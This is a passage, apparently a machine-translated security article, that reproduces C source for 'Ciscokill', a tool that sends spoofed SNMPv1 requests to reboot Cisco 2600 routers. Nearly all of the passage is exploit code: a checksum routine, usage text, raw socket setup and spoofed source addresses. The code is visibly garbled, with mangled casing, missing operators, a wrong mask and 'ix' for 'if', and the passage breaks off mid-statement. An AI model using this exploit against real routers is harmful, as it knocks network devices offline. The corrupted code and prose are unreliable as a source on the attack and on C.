Attackers can also reject service attacks without knowing "Community String". The following code will restart the Cisco 2600 router:
/ * This Program Send a spous SNMPV1 Get Request That Cause System Reboot on Cisco 2600 Routers with iOS Version 12.0 (10) Author: kundra@tiscali.it ... don't be lame use for testing only! .. :) * / # include
Register u_short answer; / * assumes u_short == 16 bits * // * * Our Algorithm is Simple, USING A 32-bit Accumulator (SUM), * WE Add Sequential 16-Bit Words to it, and at the end, fold back * all the carry bits from the top 16 bits inTo the Lower 16 bits. * / sum = 0; while (nbytes> 1) {SUM = * PTR ; nbytes - = 2;} / * mop up an odd byte, if Necessary * / if (nbytes == 1) {ODDBYTE = 0; / * Make Sure Top Half Is Zero * / * ((U_CHAR *) & ODDBYTE) = * (u_char *) PTR; / * One Byte Only * / SUM = oddbyte;} / * * add back carry outs from top 16 bits to low 16 bits. * / sum = (sum >> 16) (sum & 0xfff); / * Add high-16 to low-16 * / SUM = (SUM >> 16); / * add carry * / answer = ~ sum; / * Ones-completion, the truncate to 16 bits * / return (answer);} void usage (void) {Printf ("Kundera Ciscokill v1.0 / n "); Printf (" USAGE: Ciscokill [-n number of packets] [-s source ip_addr] -t ip_target / n ");} int main (int Argc, char ** argv) {ix (argc <2) {usage (); exit (1);} while ((c = getopt (argc, argv, "s: t: n:)) ! = EOF) {Switch (c) {CASE 'S': Source = OPTARG; Break; Case 'N': p_number = atoi (OPTARG); Break; Case 'T': target = OPTARG;}} f ((SOK) = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) <0) {printf ( "Can not create socket./n"); exit (EXIT_FAILURE);} destip_addr.s_addr = inet_addr (target); sourceip_addr.s_addr = inet_addr (source ); DataSize = sizeof (snmpkill); packet = (char *) malloc (20 8 DATASize); IP = (struct ip *) packet; Memset (packet, 0, sizeof (packet)); IP-> IP_DST. s_addr = destip_addr.s_addr; ip-> ip_src.s_addr =